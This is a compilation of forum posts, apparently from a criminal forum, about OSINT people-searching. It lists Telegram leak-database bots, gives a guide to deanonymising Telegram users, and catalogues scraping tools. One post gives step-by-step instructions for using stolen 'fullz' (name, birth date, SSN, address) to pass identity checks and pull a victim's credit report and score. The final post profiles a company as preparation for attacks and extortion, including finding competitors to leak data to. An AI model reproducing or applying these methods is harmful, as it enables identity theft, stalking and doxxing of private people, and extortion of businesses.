Так же не забываем искать по полю «descr»:

Поиск IP-адресов по полю описания сети и одновременно по стране

Или посмотрим, какие имена сетей есть в отдельно взятой стране:

Сети в отдельно взятой стране

Мы можем искать и по CIDR-диапазону:

Поиск сетей по CIDR

​

geo2ip + reverse whois​

Наконец мы можем использовать geoip и rwhois вместе через пайп.

Попробуем найти все сети в некотором географическом регионе, где имена сетей содержат «telecom»:

Поиск telecom-сетей в некотором географическом сегменте

И последний пример — показать на карте, где находятся сети с определенным именем:

Поиск сетей на карте по имени

Просмотр сетей, найденных по имени на карте

​

Заключение​

Мы использовали ещё два инструмента, которые можно добавить к RECON арсеналу. Эти инструменты так же могут быть полезны и в других областях, не связанных с разведкой - для анализа и визуализации логов, дампов трафика и т. д.

pip2 install georipe

Автор: Специалист Уральского центра систем безопасности

какие есть инструменты для инстаграма? может быть боты? можно и платный..

1: Gmail account finder

This tool lets you find anyone with a Gmail account.

You can see their location by tracking their reviews on Google.

You can see their picture if they have any on their Google account

2: Finding accounts with an email address:

Just enter the email and it will show you which websites they have an account or accounts on.

3: Finding info with phone number

This tool lets you find accounts on Telegram and other sites.

Just enter the phone number and check

4: Find an account on LinkedIn

If you have the email address of someone you want to find on LinkedIn just enter the email and it will show you all the information from LinkedIn.

Spoiler: Tool https://tools.epieos.com/holehe.php

Open Source Intelligence (OSINT) Collection and Analysis

It is time to look at OSINT in a different way. For many years, and within the previous editions of this book, we have relied on external resources to supply our search tools, virtual environments, and investigation techniques. We have seen this protocol fail us when services shut down, websites disappear, and custom resources are dismantled due to outside pressures. This book aims to correct our dilemma. We will take control of our investigative resources and become self-reliant. There will be no more need for online search tools; we will make and host our own locally. We will no longer seek pre-built virtual machines; we will create and configure our own. The new OSINT professional must be self-sustaining and possess their own tools and resources. You will become a more proficient subject matter expert who will be armed with the knowledge and readiness to articulate the sources of your findings.

This new eighth edition contains hundreds of pages which have been updated to keep your OSINT investigative methods fresh. It includes new online and offline search tools; a new Linux OSINT virtual machine; and tutorials to replicate all Linux OSINT tools within Mac and Windows operating systems. Brand-new search methods for Facebook, Instagram, LinkedIn, YouTube, and others ensure you have the latest techniques within your online investigation arsenal. An entire section is devoted to Methodology, Workflow, Documentation, and Ethics which provides a clear game plan for your next active investigation. All digital files are included via download. Today, we start over.

Contents

Introduction

SECTION I: OSINT Preparation

CHAPTER 01: Computer Optimization
CHAPTER 02: Linux Virtual Machine
CHAPTER 03: Web Browsers
CHAPTER 04: Linux Applications
CHAPTER 05: VM Maintenance & Preservation
CHAPTER 06: Mac & Windows Hosts
CHAPTER 07: Android Emulation
CHAPTER 08: Custom Search Tools

SECTION II: OSINT Resources and Techniques

CHAPTER 09: Search Engines
CHAPTER 10: Social Networks: Facebook
CHAPTER 11: Social Networks: Twitter
CHAPTER 12: Social Networks: Instagram
CHAPTER 13: Social Networks: General
CHAPTER 14: Online Communities
CHAPTER 15: Email Addresses
CHAPTER 16: Usernames
CHAPTER 17: People Search Engines
CHAPTER 18: Telephone Numbers
CHAPTER 19: Online Maps
CHAPTER 20: Documents
CHAPTER 21: Images
CHAPTER 22: Videos
CHAPTER 23: Domain Names
CHAPTER 24: IP Addresses
CHAPTER 25: Government & Business Records
CHAPTER 26: Virtual Currencies
CHAPTER 27: Advanced Linux Tools
CHAPTER 28: Data Breaches & Leaks

SECTION III: OSINT Methodology

CHAPTER 29: Methodology & Workflow
CHAPTER 30: Documentation
CHAPTER 31: Policy & Ethics

Conclusion

Download

Добрый день!

Вот что у меня есть.

Бот @TgScanRobot позволяет посмотрет в каких группах состоит человек.

Просто напишите боту username человека или его числовой телеграм ID.

Бот бесплатный, показывает до 20 групп (остальные скрыты).

На данный момент в базе бота 404 тысячи чатов, 69 миллионов уникальных пользователей.

В курсе больше сотни коротких видео. В них автор рассказывает о том, что и как можно найти в гугле.

Вот лишь часть видео, но, как видно, темы достаточно прикольные.

Залил на Mega.nz

Также курс лежит в TG, на канале https://t.me/Searchinet

Как обойти защиту данных в глазе бога? бывает такое. что пользователь прячет свои данные за защитой, много раз видел как ее обходили. Подскажите плиз, как это делается)

Собственно вопрос следующий.

[Вырезано]

Собственно вопрос. Каким образом можно монетизировать данную информацию? При условии, что ранее она нигде не публиковалась. Возможно формулировка несколько наивная, но тем не менее.
небольшое дополнение. Софт самописный, находится в стадии тестирования. Хочется понять возможности монетизации.

Здравствуйте хочу поделиться с форумом своей статьей как пробивать человека в США для различных сфер.
И так с чего начнем..

У нас есть full info про человека (NAMEOB:SSN:ADDRES)

Нужен номер телефона человека?

1. Пробиваем человека на сервисах: Intelius, BeenVerified, TruthFinder.
   На данных сервисах мы получаем информацию про человека в виде всех адресов где он проживал и проживает на данный момент.
   Так же получаем актуальный номер телефона человека и предыдущие телефоны.
   В добавок получаем криминальный репорт, электронную почту, актуальную работу (Не всегда она там есть), Машины, Дома так же получаем всю информацию про Родню.

2)Нужен Кредитный Репорт про человека?
Заходим на данный сайт annualcreditreport.com, водим все данные про человека в соответсвующие поля, выбираем сервис или сервисы (Expirian, Equifax, TransUnion)
-Далее нам нужно проходить БГ по данный сервисам, на большинство вопросов мы сможем ответить находя ответы на сервисах (Intelius, BeenVerified, TruthFinder).
Если не получилось с первого раза пройти БГ на annualcreditreport нажимаем стрелочку Назад (т.е. страница назад) и вуаля у нас еще одна попытка пройти БГ на данную фулку.
ЧТО МЫ ПОЛУЧАЕМ В КР?
-Всю банковскую информацию в котором замешан данный человек.
-Информацию про человека где он работал и работает.
-Актуальные адреса Человека
-Актуальные номера телефонов.
-ЭЛ почту человека.

3)Нужно узнать КС (Credit Score)?
Есть много отличных сервисов, отдельно выделяю (NerdWallet, WalletHub, CreditCarma)
-Суть та же: Вбиваем фулку в поля, реальный номер человека и проходим БГ, отвечая на вопросы с Кредитного Репортаж и БГ.
*Для регистрации фулки в БА достаточно 700+ кс, не меньше. В идеале 760+, меньше локов.

Пожалуй закончу на сегодня.
Если вам будет интересно - завтра напишу в данной теме как пробивать машины КХ, цвет машины КХ, Цвет Дома КХ, Цвет Крыши Дома, Лицензии КХ.

Если в интернете кто‑то не прав, у тебя есть ровно два варианта. Первый — понять и забить, второй — найти обидчика и аккуратно начистить ему интерфейс. Но для начала этого самого обидчика нужно как минимум вычислить и по возможности деанонимизировать. О том, как это сделать в «Телеграме», мы расскажем в сегодняшней статье.
Несмотря на то что «Телеграм» считается безопасным и защищенным мессенджером, при желании в его недрах и глубинах можно отыскать большой объем информации о пользователях. А если подключить к поиску методы OSINT, то есть разведки по открытым источникам, сведений можно собрать еще больше. На помощь нам придут специально обученные телеграм‑боты, поисковые системы и, конечно же, русская народная смекалка.

WARNING​

Сбор информации о частной жизни граждан без их согласия незаконен, помни об этом. В этой статье рассказывается о поиске в открытых источниках данных, которые люди оставляют в публичном доступе сами. Но в любом случае нужно соблюдать требования законодательства и уважать право граждан на сохранение их приватности. Поэтому информация в статье предоставлена исключительно в ознакомительных целях. Авторы и редакция не несут ответственности за любой возможный вред, причиненный использованием материалов этой публикации.
Любой поиск нужно с чего‑то начинать. Пользователь «Телеграма» может, если захочет, сменить ник, имя и прочие данные своего аккаунта. Кроме одного: ID, или индивидуального идентификатора, который присваивается учетке при регистрации и впоследствии остается неизменным. Поэтому именно его всегда используют в тех случаях, когда нужно указать на аккаунт максимально точно, он же однозначно идентифицирует юзера в базах данных. Вот этот ID интересующего нас персонажа и следует вычислить в первую очередь.

ИДЕНТИФИКАТОР И ОСНОВНЫЕ ДАННЫЕ​

Проще всего это сделать с помощью бесплатного бота @username_to_id_bot. Пользоваться им до безобразия просто: отдав команду /start, отправь боту юзернейм, идентификатор которого ты желаешь узнать, скопипасти ссылку‑приглашение для чата или форвардни сообщение от интересующего тебя пользователя. Существует еще частично платный бот @CheckID_AIDbot, который делает все то же самое, что бесплатный, но за деньги (и при этом еще безжалостно спамит рекламой). Зачем он нужен — непонятно, наверное, бот предназначен для тех, кто любит покупать по подписке то, что можно получить на халяву. Еще имеется специальное вложение‑скрипт, которое можно, например, запульнуть в чат: этот скрипт позволит собрать идентификаторы участников дискуссии.

WWW​

Если ты хочешь узнать способы сбора имен участников чатов в «Телеграме», обязательно прочитай статью «Парсим телегу. Как собирать имена участников чатов в Telegram».
Теперь можно попытаться отыскать полезную информацию, связанную с полученным нами ID. Начать можно с высокотехнологичной процедуры, известной в узких хакерских кругах под названием «гуглеж». Действительно, в индексе поисковых систем вполне могут встретиться данные из каких‑нибудь утечек или публичных баз — для этого в качестве запроса следует указать ID юзера «Телеграма» в кавычках. Если в «Гугле» и «Яндексе» не нашлось ничего полезного, к нашим услугам имеются многочисленные боты, большинство которых, правда, предоставляет информацию на платной основе:

• «Глаз Бога» — платный OSINT-бот, о котором «Хакер» уже писал. Бота регулярно банят, поэтому он меняет свое название — актуальную версию можно найти на его официальном сайте;
• @helper_inform_bot — боту можно скормить запрос вида (где XXXXXXX — ID пользователя Telegram), в ответ он выдаст фоточки из профиля, имя юзера, никнейм и, если он привязан к профилю, номер телефона и наименование оператора. Также можно искать информацию по имени, адресу электронной почты, ИНН и другим параметрам;
• @QuickOSINT_bot — еще один бот из нашей предыдущей подборки, помимо ID, он способен искать по телефону, email, госномеру или VIN автомобиля, номеру паспорта, СНИЛС или ИНН;
• @UsersSearchBot — платный бот со схожими возможностями, позволяет бесплатно выполнить несколько запросов, чего в большинстве случаев более чем достаточно;
• @Zernerda_bot) — кроме поиска в Telegram может искать и по номеру телефона, автомобиля, ФИО, учеткам «Вконтакте», «Одноклассникам», в Twitter, Instagram, Facebook, по e-mail, паспортным данным, ИНН, IP-адресу, User-Agent и в приватных базах. Бесплатно ищет пользователей, имеющихся всписке друзей и знакомых с родственниками в VK и «Одноклассниках». В отличие от других ботов умеет определять дату создания набора стикеров или эмодзи.

Все эти боты ищут информацию в утекших базах данных, которыми щедро делятся с анонимусами всевозможные интернет‑магазины, службы доставки и криворукие админы популярных пабликов. Выяснив имя пользователя, его номер телефона или email, можно повторить поиск с этими данными и получить дополнительные сведения, например известные пароли, учетки в социальных сетях, дату рождения, другие ники этого пользователя.

На следующем этапе можно попытаться найти что‑нибудь интересное с использованием специализированных поисковых систем вроде lyzem.com — это поисковик по открытым чатам, каналам, ботам Telegram и сайту telegra.ph.

Lyzem
Результаты поиска, прямо скажем, получаются не слишком релевантными, но что‑то интересное с помощью этого сервиса найти можно. А вот еще три использующих технологии Google поисковика по «Телеграму», которые тоже могут оказаться небесполезны:

• xtea.io;
• TeleGaGo;
• IntelligenceX.

Ну и не следует забывать о поисковике telegcrack.com, который ищет по заголовкам публикаций на сайте Telegra.ph. Этот инструмент больше полезен для сеошников, чем для исследователей вроде нас, но пренебрегать им все‑таки не стоит.

telegcrack.com

ПОИСК ПО НИКУ​

Переходим к ~~водным процедурам~~ поиску по нику, который нам удалось установить на предыдущем этапе. Для этого воспользуемся специализированными ресурсами, позволяющими узнать, на каких сайтах в интернете встречается этот псевдоним или имя пользователя. Каждый такой инструмент использует собственную базу проверяемых платформ, поэтому лучше задействовать каждый из них по очереди — вдруг один сообщит что‑то, о чем умолчат другие. Вот список самых полезных ресурсов в этой категории:

• @maigret_osint_bot — этот бот использует базу, состоящую из более чем 3000 сайтов;
• @SovaAppBot — бесплатный бот для поиска информации из открытых источников по никнейму, email, в социальной сети «Вконтакте» и на других площадках;
• NaMeCheck — сайт, проверяющий введенное имя или ник более чем по 90 сайтам и 30 доменным зонам;
• Instantusername — позволяет проверить, занято ли указанное имя в популярных социальных сетях, на имиджбордах и других публичных сервисах. Затем можно просмотреть занятые учетки на каждом из этих сайтов вручную;
• NameCheckUp — аналог предыдущего сервиса: соцсетей здесь меньше, зато предлагается проверка по международным доменам (можно заодно зарегистрировать парочку свободных);
• Namecheckr — еще один сервис, подобный двум предыдущим;
• SangMataInfo — бот, позволяющий отследить историю форвардинга любого сообщения в «Телеграме». Если форварднуть ему сообщение, он покажет список пользователей, пересылавших его до этого друг другу.

Имеет смысл поискать имя пользователя в сервисах для администраторов телеграм‑каналов и специалистов по рекламе. Здесь иногда встречаются упоминания человека, его юзернейма и ID. Также эти инструменты полезны при исследовании каналов и поиске их владельца:

• telegramdb.org — база данных по телеграм‑каналам, содержит сводную информацию о них и общую статистику;
• telemetr.me — еще один каталог телеграм‑каналов для рекламщиков, он может оказаться полезен при поиске владельцев канала;
• tgstat.ru — сводная статистика и аналитика популярности и посещаемости каналов.

Есть одна интересная особенность и у блог‑платформы «Яндекс Дзен»: она позволяет владельцам телеграм‑каналов автоматически настроить репост своих публикаций. Нам же это, в свою очередь, дает возможность отыскать блог автора какого‑нибудь анонимного телеграм‑канала и выяснить его ник. Для этого нужно скопировать текст поста из телеги и, заключив его в кавычки, погуглить. Ник будет отображаться в самой ссылке: https://dzen.ru/username. Если обнаруженный поиском блог дублирует все посты из интересующего нас телеграм‑канала, вполне вероятно, что автор у них один и тот же. Описание странички в «Дзене» может также содержать аватарку автора, его имя и иные полезные сведения.

Если тебе кажется, что ты нашел несколько аккаунтов юзера в «Телеграме», но не уверен, что все они принадлежат ему, или ты подозреваешь, что он является админом какого‑либо канала, можно помониторить изменение онлайн‑статуса этого человека с помощью специального инструмента под названием TelegramOnlineSpy. Тулза позволяет отследить время захода пользователя в сеть с нескольких аккаунтов, сопоставить его и сделать соответствующие выводы.

Ну и напоследок не помешает поискать информацию по нику пользователя в альтернативных поисковиках, список которых ты можешь найти вот в этом посте. Как говорится, полезной информации много не бывает.

ВЫЯВЛЯЕМ ИНТЕРЕСЫ​

Понимание того, чем интересуется тот или иной человек, позволит составить более целостную картину его личности. Один из способов выяснить круг его интересов — собрать список чатов, в которых этот юзер состоит. Кроме того, в чатах и группах можно отыскать сообщения пользователя и выяснить о нем что‑нибудь любопытное. Вот два бота, позволяющие решить эту задачу:

• @ibhldr_bot;
• @telesint_bot.

Вступив в группу, в которой состоит интересующий нас пользователь, можно выгрузить историю сообщений с помощью функции «Экспорт истории чата» (она доступна в десктопной версии «Телеграма»). Для анализа этой истории лучше всего использовать программу «Архивариус 3000», которая позволяет выискивать в переписке такие сущности, как номер телефона, адреса электронной почты, URL, IP-адреса, а также считать частоту их использования. Весьма полезная вещь, которая нередко помогает находить забытые авторами сообщений ссылки на свои блоги и личные кабинеты, давно потертые контакты и страницы в социальных сетях.

КНИГА ЛИЦ​

Если тебе удалось раздобыть аватарку или портрет интересующего тебя персонажа, имеет смысл поискать человека с этой фотографии (или похожего на него) в социальных сетях и различных пабликах. Еще можно составить список юзеров, использующих одну и ту же аватарку на разных сайтах, — возможно, несколько таких учетных записей принадлежат одному и тому же пользователю. Вот инструменты, которые помогут тебе решить эту задачу:

• FaceCheck — служба поиска по фото в зарубежных соцсетях;
• Search4faces — то же самое, но по «Вконтакте» и «Одноклассникам»;
• Pimeyes — качественный, но платный поиск по картинкам (в телеграм‑боте этого сервиса можно выполнить три бесплатных поиска);
• ImageSearch.org — бесплатный поиск похожих картинок в интернете;
• Tineye.com — этот сервис в представлениях не нуждается;
• Reverse Image Search — аналог Tineye;
• Karmadecay — поиск похожих изображений в Reddit.

ВЫВОДЫ​

Представленный в этой статье список инструментов, безусловно, далеко не исчерпывающий, но он может оказаться крайне полезным в качестве отправной точки. Если ты регулярно пользуешься какими‑то другими сервисами для поиска информации о пользователях телеги, не забудь поделиться ссылками в комментариях.

Доброго времени суток, форумчане! Сегодня хотелось бы затронуть тему программного обеспечения для проведения OSINT-разведки. Мы рассмотрим как популярные решения, так и малоизвестные инструменты. Попрошу модерацию закрепить эту тему, так как в закреплённых темах есть все важные темы, кроме этой.

Итак, начнём!

1. Maltego - это инструмент для визуализации и анализа данных, который помогает найти скрытые связи между людьми, компаниями, сайтами, IP-адресами и другими объектами.

Представьте себе, что вы рисуете карту, где каждый узел - это человек или компания, а линии - это их связи. Maltego автоматически собирает и отображает такую карту, помогая вам найти скрытые закономерности и зависимости.

Для чего используют Maltego?

• Разведка: Поиск информации о людях, организациях, событиях и т.д.
• Анализ угроз: Идентификация угроз, вредоносных действий, киберпреступников и их связей.
• Противодействие мошенничеству: Раскрытие мошеннических схем, проверка контрагентов и выявление рисков.
• OSINT (Open-Source Intelligence): Сбор открытой информации из общедоступных источников.

В бесплатной версии Maltego вы можете сами выбрать и добавить модули, которые предлагает сам Maltego. Но вы можете найти ещё и решения из Github, к примеру Holehe. Holehe представляет собой инструмент для проверки наличия регистрации электронной почты на разных веб-ресурсах. Версия для Maltego: https://github.com/megadose/holehe-maltego.

Вот видео на YouTube, которое поможет вам с преобразованием Holehe для Maltego:

Также есть инструмент под названием PhoneInfoga- инструмент для сканирования международных телефонных номеров. Он позволяет сначала собрать основную информацию, такую как страна, регион, оператор связи и тип линии, а затем использовать различные методы, чтобы попытаться найти провайдера VoIP или идентифицировать владельца. PhoneInfoga не автоматизирует все, она просто помогает в расследовании телефонных номеров.
Линк: https://github.com/megadose/phoneinfoga-maltego

Сам Maltego установлен по умолчанию в дистрибутиве Kali, также его можно установить на Windows и, естественно, на macOS.

Ниже я вам оставлю видеоролики, которые помогут вам узнать больше о данной программе:

Линк на сам софт: https://www.maltego.com/

2. SpiderFoot — это инструмент автоматизации OSINT с открытым исходным кодом. Он интегрируется практически со всеми доступными источниками данных и использует ряд методов для анализа данных, что упрощает навигацию по этим данным.

SpiderFoot имеет встроенный веб-сервер для обеспечения чистого и интуитивно понятного веб-интерфейса, но также может использоваться полностью через командную строку. Он написан на Python 3 и лицензирован Массачусетским технологическим институтом.

Установка данного инструмента довольно проста.

Установите себе на систему Python. Для этого нужно зайти на официальный сайт Python:


Welcome to Python.org

The official home of the Python Programming Language

www.python.org

Далее выберите "Customize installation".

После установки Python, на систему нужно установить: https://github.com/smicallef/spiderfoot.git

Далее разархивируйте его, зайдите в саму папку, сотрите путь к папке и пропишите "cmd". После напишите pip install -r requirements.txt. После установки библиотек пропишите в том же окне консоли python sf.py -l 127.0.0.1:5001 (для запуска).

После запуска достаточно ввести в строку браузера <http://127.0.0.1:5001/>, и вы окажетесь на странице с самим инструментом.

3. Ghunt — это инструмент OSINT для извлечения информации из любой учетной записи
   Google с помощью электронной почты. В настоящее время он может извлекать имена, идентификаторы Google, активированные службы Google, местоположение, программное обеспечение и многое другое! После того, как вы установили Ghunt, введите следующую команду в терминале:

ghunt login

Установка Ghunt Companion

Для сбора файлов cookie вам понадобится расширение браузера Ghunt Companion. Выберите версию, подходящую для вашего браузера:

• Mozilla Firefox: https://addons.mozilla.org/en-US/firefox/addon/ghunt-companion
• Google Chrome: https://chrome.google.com/webstore/detail/ghunt-companion/nppldjkhdjkdhnkjbdjnjofnglpljlm

Авторизация в Gmail

После установки Ghunt Companion, войдите в свою учетную запись Gmail (рекомендую использовать левую учетную запись).

Копирование файлов cookie

Выберите "Метод 2" в Ghunt Companion для автоматического копирования файлов cookie в буфер обмена.

Ввод файлов cookie в Ghunt

В терминале, где вы запустили ghunt login, выберите вариант 2 и вставьте скопированные файлы cookie.

Для проверки успешной установки введите команду:

ghunt -h

Эта команда выведет список всех доступных модулей Ghunt.

4) Дальше хотел бы поговорить про Snoop. По моему мнению, это один из лучших инструментов для поиска по никнейму.

Установка довольно легкая, все, что нужно, разработчик подробно написал.

Ссылка на сам Snoop: https://github.com/snooppr/snoop
Ссылка на установку: https://github.com/snooppr/snoop/releases

5) Holehe - Но не для Maltego. Сам Holehe проверяет, прикреплен ли адрес электронной почты к учетной записи на таких сайтах, как Twitter, Instagram, Imgur и более чем 120 других.

Ссылка: https://github.com/megadose/holehe

6) Mosint - это инструмент для работы с электронной почтой. Он помогает собрать информацию о электронной почте.

Возможности:

• Проверка учетных записей в социальных сетях
• Проверка утечек данных и паролей
• Поиск связанных электронных писем и доменов
• Сканирование дампов Pastebin
• Поиск в Google
• Поиск по DNS/IP

Ссылка: https://github.com/alpkeskin/mosint

При запуске инструмента, он ругается на отсутствие конфигурационного файла. Ответ на эту проблему: [https://github.com/alpkeskin/mosint/issues/62#issuecomment-1401750287

7) Osintgram - это инструмент для поиска по аккаунту в Instagram. Он предлагает интерактивную оболочку для проведения анализа Instagram-аккаунта любого пользователя по его нику.

Инструменты и команды:

Вы можете получить:

- addrs Получить все зарегистрированные адреса целевых фотографий
- captions Получить подписи к фотографиям пользователя
- comments Получить общее количество комментариев к сообщениям цели
- followers Получить последователей цели
- followings Получить пользователей, за которыми следует цель
- fwersemail Получить email последователей цели
- fwingsemail Получить email пользователей, за которыми следует цель
- fwersnumber Получить номер телефона последователей цели
- fwingsnumber Получить номер телефона пользователей, за которыми следует цель
- hashtags Получить хэштеги, используемые целью
- info Получить информацию о цели
- likes Получить общее количество лайков постов цели
- mediatype Получить тип постов пользователя (фото или видео)
- photodes Получить описание фотографий цели
- photos Загрузить фотографии пользователя в выходную папку
- propic Загрузить фотографию профиля пользователя
- stories Загрузить истории пользователя
- tagged Получить список пользователей, отмеченных целью
- wcommented Получить список пользователей, п
рокомментировавших фотографии цели
- wtagged Получить список пользователей, которые отметили цель

Линк: https://github.com/Datalux/Osintgram

8. Osint San – это невероятно удобный и многофункциональный инструмент. Он представляет собой не просто набор инструментов, а целую экосистему, которая включает в себя библиотеку ресурсов, вики-справочник и множество других полезных функций. По сути, Osint San – это мощный комплексный инструмент для проведения OSINT-разведки. Также у автора есть платная версия, но сегодня я расскажу именно о бесплатной.

Иногда, на некоторых дистрибутивах, могут возникнуть проблемы с зависимостями. Какие бывают проблемы и как их решать: <https://github.com/Bafomet666/OSINT- SAN/issues/11>

Чтобы воспользоваться всеми возможностями программы, необходимо добавить API- ключи. Их можно найти в файле settings.py, который находится в каталоге с программой. Ссылки на ресурсы, где получить ключи, указаны в репозитории автора на GitHub. При первом запуске нас спросят ключ доступа. Ключ: iloveyouosint
Линк: https://github.com/Bafomet666/OSINT-SAN

9. YaSeeker - Это инструмент для получения информации о любом аккаунте Яндекса с помощью электронной почты или логина.

Он может найти:

• Fullname
• Фото
• Пол
• UID Яндекса
• Публичный идентификатор Яндекса
• Связанные социальные аккаунты
• Активность (количество отзывов, комментариев; подписчиков и подписок)
• Характеристики аккаунта (верифицирован, забанен, удален и т.д.)

Проверенные сервисы Яндекс: Музыка, Коллекции, Bugbounty, Отзывы, Знатоки, Классификатор, Дзен, Маркет, Мессенджер.

Ссылка: https://github.com/HowToFind-bot/YaSeeker

10) Mailcat - Может найти существующие адреса электронной почты по никнейму юзера.

Линк: https://github.com/soxoj/mailcat

11. Eyes - Основанный на поиске аккаунта по адресу электронной почты. Eyes умеет не только находить существующие на разных сайтах аккаунты, но и находить сам аккаунт (с помощью определенных модулей) даже если профиль не имеет ничего общего с электронной почтой!

Линк: https://github.com/N0rz3/Eyes

12) Geogramint - это инструмент OSINT, который использует API Telegram для поиска пользователей и групп поблизости. Вдохновленный Telegram Nearby Map Техадо, который больше не поддерживается, он стремится предоставить более удобную альтернативу.

Geogramint находит только тех пользователей и группы Telegram, которые активировали функцию «Рядом». По умолчанию она деактивирована.

Инструмент полностью поддерживается в Windows и частично - в Mac OS и дистрибутивах Linux.

Линк: https://github.com/Alb-310/Geogramint

13. Zehef – это инструмент для проверки безопасности электронной почты. Он поможет вам узнать, была ли личная или корпоративная почта скомпрометирована и где она могла быть использована.

Вот что Zehef может проверить:

• Проверка на наличие в публичных базах данных (Pastebin): Zehef ищет почту в открытых источниках, таких как Pastebin, где часто публикуются украденные данные.
• Проверка утечек с помощью HudsonRock: Zehef использует сервис HudsonRock для выявления известных утечек данных, в которые могла попасть почта.
• Списки сайтов, к которым подключен адрес электронной почты: Zehef показывает, на каких популярных платформах (Chess, Deezer, Duolingo, GitHub, Gravatar, Instagram и других) зарегистрирована почта.
• Генерация комбинаций электронных адресов: Zehef позволяет сгенерировать возможные варианты адреса.

Линк: https://github.com/N0rz3/Zehef

14. Mr.Holmes - это инструмент для сбора информации (OSINT). Основная цель - получение информации о доменах, именах пользователей и номерах телефонов с помощью публичных источников, доступных в интернете, а также использование Google dorks для конкретных исследователей. Он также использует прокси-серверы для обеспечения полной анонимности запросов и WhoIS Api для получения дополнительной информации о домене.

Линк: https://github.com/Lucksi/Mr.Holmes

15. Inspector - Поиск данных по французскому номеру телефона, может найти:

• Проверка на валидность: Проверка, является ли номер телефона действительным.
• Тип номера: Определение, является ли номер мобильным или стационарным.
• Оператор связи: Определение оператора связи, обслуживающего номер.
• Связанные аккаунты: Проверка наличия зарегистрированных акаунтов на номер.
• Репутация: Оценка репутации номера телефона.

Линк: https://github.com/N0rz3/Inspector

16. Sn0int - это полуавтоматизированная платформа для OSINT и менеджер пакетов . Ее используют специалисты по информационной безопасности, охотники за багами, правоохранительные органы и в тренингах по информационной безопасности для сбора данных о конкретной цели или о себе. Sn0int позволяет определить поверхность атаки, полуавтоматически обрабатывая публичную информацию и отображая результаты в едином формате для дальнейшего расследования.

Среди прочего, Sn0int в настоящее время может:

• Извлекать поддомены из журналов прозрачности сертификатов и пассивного DNS.
• Массово разрешать собранные поддомены и сканировать их на наличие HTTP или HTTPS сервисов.
• Обогащать IP-адреса информацией ASN и GeoIP.
• Извлекать электронные письма с PGP-ключевых серверов и WHOIS.
• Находить скомпрометированные учетные записи в результате взломов.
• Находить профили человека в Интернете.
• Перечислять локальные сети с использованием уникальных методов, таких как пассивный ARP.
• Собирать информацию о телефонных номерах.
• Извлекать активность и изображения из профилей в социальных сетях.
• Базовая обработка изображений.

Sn0int сильно вдохновлен recon-ng и Maltego, но остается более гибким и полностью открытым.

Линк: https://github.com/kpcyrd/sn0int

17. Xeuledoc - Получение информации о любом публичном документе Google.

Работает на:

Google Диск
Документы Google
Электронные таблицы Google
Google Слайды
Google Рисование
Google Мои карты
Сценарий Google Apps
Google Jamboard

Линк: https://github.com/Malfrats/xeuledoc?tab=readme-ov-file

18. Toutatis - Еще один инструмент для поиска по аккаунту в Instagram. Он позволяет извлекать информацию из аккаунтов Instagram, такую как электронная почта, номера телефонов и многое другое.

Линк: https://github.com/megadose/toutatis

Есть ещё море подобных инструментов. Буду рад услышать ваше мнение по поводу моего поста. Удачного поиска!

Автор: ShadowHawk

АвторXezis
Источникhttps://xss.is

Я вас категорически приветствую!

Давайте разберемся сразу, что я имею ввиду корпоративный осинт, для атак и переговоров, а не поиск нужного человека и его деанон (хотя это тоже будет). В корпах сотрудники можно сказать и так открыты, и деанонить их смысла нет. Смысл есть собрать побольше информации и понять, с какой компанией мы имеем дело, какие сотрудники там работают и за что отвечают.
Как сказал Ротшильд: "Кто владеет информацией, тот владеет миром ", а так как мы все хотим хотя бы 5% от состояния Ротшильда, нам тоже надо владеть информацией.

Если вы сталкивались с такими проблемами:
1. Частые недозвоны.
2. При попытках вытянуть корп на связь - вас шлют нахуй или игнорируют.
3. Сотрудник уже уволился.
4. Сотруднику запрещено что-то запускать, или он не может ввести нужные вам данные в ваш фейк.
То как раз вам стоит почитать мой высер =)
----------------------------
Как сегодня выглядит современный осинт в команде, и почему все так плохо?

Современный осинт в команде выглядит так: быстро вбили название корпа в зуминфо, подергали оттуда контакты - начали звонить. Почему зуминфо? Ровно по той же причине, почему все используют токс =)
Мистер 100 биткоинов депозит, или его коллеги взяли это за стандарт, остальные подтянулись и повторяют. Проблема лишь в том, что это не осинт, а просто сбор контактов. А из-за такого сбора контактов много недозвонов, слабая переговорная позиция и прочая хуета.

Многие даже не понимают иерархию в компании, как там все устроено, и как работает. Нет иерархии. Знаю случаи, когда звонили и ебали челу голову, хотя он даже не работал в компании. Уволился. Но зуминфо похуй, он просто раздает контакты =)

Либо звонят манагером, или "шишкам" и просят выйти на связь. То есть звонят людям, которые ничего не решают, и которым зачастую плевать на компанию, и пытаются хоть как-то донести информацию. Ключевое здесь "хоть как-то донести информацию". Нет понимания, кто решает, кому надо звонить, и что говорить. Про методы атаки с использованием осинт и усиления своей переговорной позиции мы поговорим в других статьях, если будет желание.

Ладно, хватит растекаться мыслью по древу, и говорить как все хуево. Перейдем собственно к осинту. Для примера я выбрал компанию:
Arrow Electronics
Website: https://www.arrow.com/

Выбор пал случайно, но рассмотрим на ее примере, как мы будем делать осинт. Для начала определимся, что мы должны получить на выходе:

1. Revenue компании.
2. Список ключевых сотрудников, их контакты, и дополнительную информацию про них.
3. Структуру компании. Кто за что отвечает, на какой должности находится, и кого должен слушаться и выполнять поручения. Это в дальнейшем пригодится для атак и переговоров.
4. Конкуренты. Кому в случае чего мы можем слить дату, и через кого давить на них. Тоже усилит переговорный процесс.
5. Информация о компании. Новости, скандалы, интриги, расследования =).

Вот с таким минимальным набором информации мы можем уже готовить атаку на компанию.
----------------------------

Пункт первый - Revenue!

1. ZoomInfo всеми любимый

Идем в гугл, вбиваем:
"zoominfo arrow.com"

Получаем:

Записываем в блокнотик:
Revenue
$31.3 Billion

2. Идем в rocketreach.co

Записываем:
Revenue $33 billion

Но если посмотреть внимательно на выдачу от rocketreach.co, то мы увидим следующее:

$37,1B Revenue, компании по тому же адресу, но разные направления. Запишем так же и 37,1. Пусть будет.

3. Идем в zippia.com

Записываем:
Revenue
$37.1B

4. Идем на companiesmarketcap.com

Записываем: $29.67 Billion USD

Ну и на десерт оставим самое вкусное. Идем снова в наш любимый гугл, вбиваем: "arrow.com revenue".

Сами, для инвесторов они пишут, что продали на 33 миллиарда.

Каков итог? Средний Revenue мы установим в 30ккк. Значит пишем в следующем формате:
Arrow Electronics
Website: https://www.arrow.com/
Revenue: ~[$30kkk]

Этим примером я хотел показать, что в зависимости от компании, и сайта на котором мы смотрим, данные могут разниться. И разбег в пару миллиардов - это не банка огурцов, особенно когда мы будем "просить" у них денежки =).
